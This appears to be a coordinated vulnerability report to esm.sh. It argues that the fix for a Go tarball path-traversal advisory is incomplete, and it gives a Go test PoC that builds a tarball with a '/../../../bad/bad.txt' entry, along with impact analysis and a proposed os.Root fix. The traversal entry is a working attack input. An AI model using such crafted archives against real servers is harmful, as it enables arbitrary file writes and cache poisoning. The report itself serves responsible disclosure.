Summary

I was doing some analysis of recent Go security advisories and I came across GO-2025-4138. I noticed that the linked commit does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file. I'm not certain of esm.sh's threat model but given there was a security advisory for the last issue, I assume this bug still applies.

PoC

This test file can demonstrate the basic idea pretty easily:

package server

import (
	"archive/tar"
	"bytes"
	"compress/gzip"
	"testing"
)

// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function
// with a malicious tarball containing a path traversal attempt
func TestExtractPackageTarball_PathTraversal(t *testing.T) {
	// Create a temporary directory for testing
	installDir := "./testdata/good"

	// Create a malicious tarball with path traversal
	var buf bytes.Buffer
	gw := gzip.NewWriter(&buf)
	tw := tar.NewWriter(gw)

	// Add a normal file
	content := []byte("export const foo = 'bar';")
	header := &tar.Header{
		Name:     "package/index.js",
		Mode:     0644,
		Size:     int64(len(content)),
		Typeflag: tar.TypeReg,
	}
	if err := tw.WriteHeader(header); err != nil {
		t.Fatal(err)
	}
	if _, err := tw.Write(content); err != nil {
		t.Fatal(err)
	}

	// Add a malicious file with path traversal
	bad := []byte("bad")
	header = &tar.Header{
		Name:     "/../../../bad/bad.txt",
		Mode:     0644,
		Size:     int64(len(bad)),
		Typeflag: tar.TypeReg,
	}
	if err := tw.WriteHeader(header); err != nil {
		t.Fatal(err)
	}
	if _, err := tw.Write(bad); err != nil {
		t.Fatal(err)
	}

	tw.Close()
	gw.Close()

	// Call extractPackageTarball with the malicious tarball
	if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
		t.Errorf("extractPackageTarball returned error: %v", err)
	}
}

Impact

It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.

Arbitrary file write can lead to server-side code execution (e.g. Writing to cron files) but I'm not certain it's feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to enable code execution is unclear to me, so it's probably safer to assume it's plausible so I've labeled this bug as "High" instead of "Critical".

The limiting factors in the default setup that limit escalating this to code execution from my analysis:

• extractPackageTarball has a file-extension check which makes some more "obvious" escalations like overwriting binaries in /esm/bin (e.g. deno) impractical since it requires the target file to have an allowlisted extension.
• Using the Dockerfile in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to /tmp and it's home directory.
• I spot checked to see if the deployment scripts relied on executing potentially poisoned files in /tmp but didn't note anything.

Fix

Using os.Root seems like it will solve this issue and doesn't require new dependencies.

Disclosure

I will not disclose this issue publicly until January 14 unless the fix is made public before then.

Happy to answer any questions about the bug or my disclosure policy.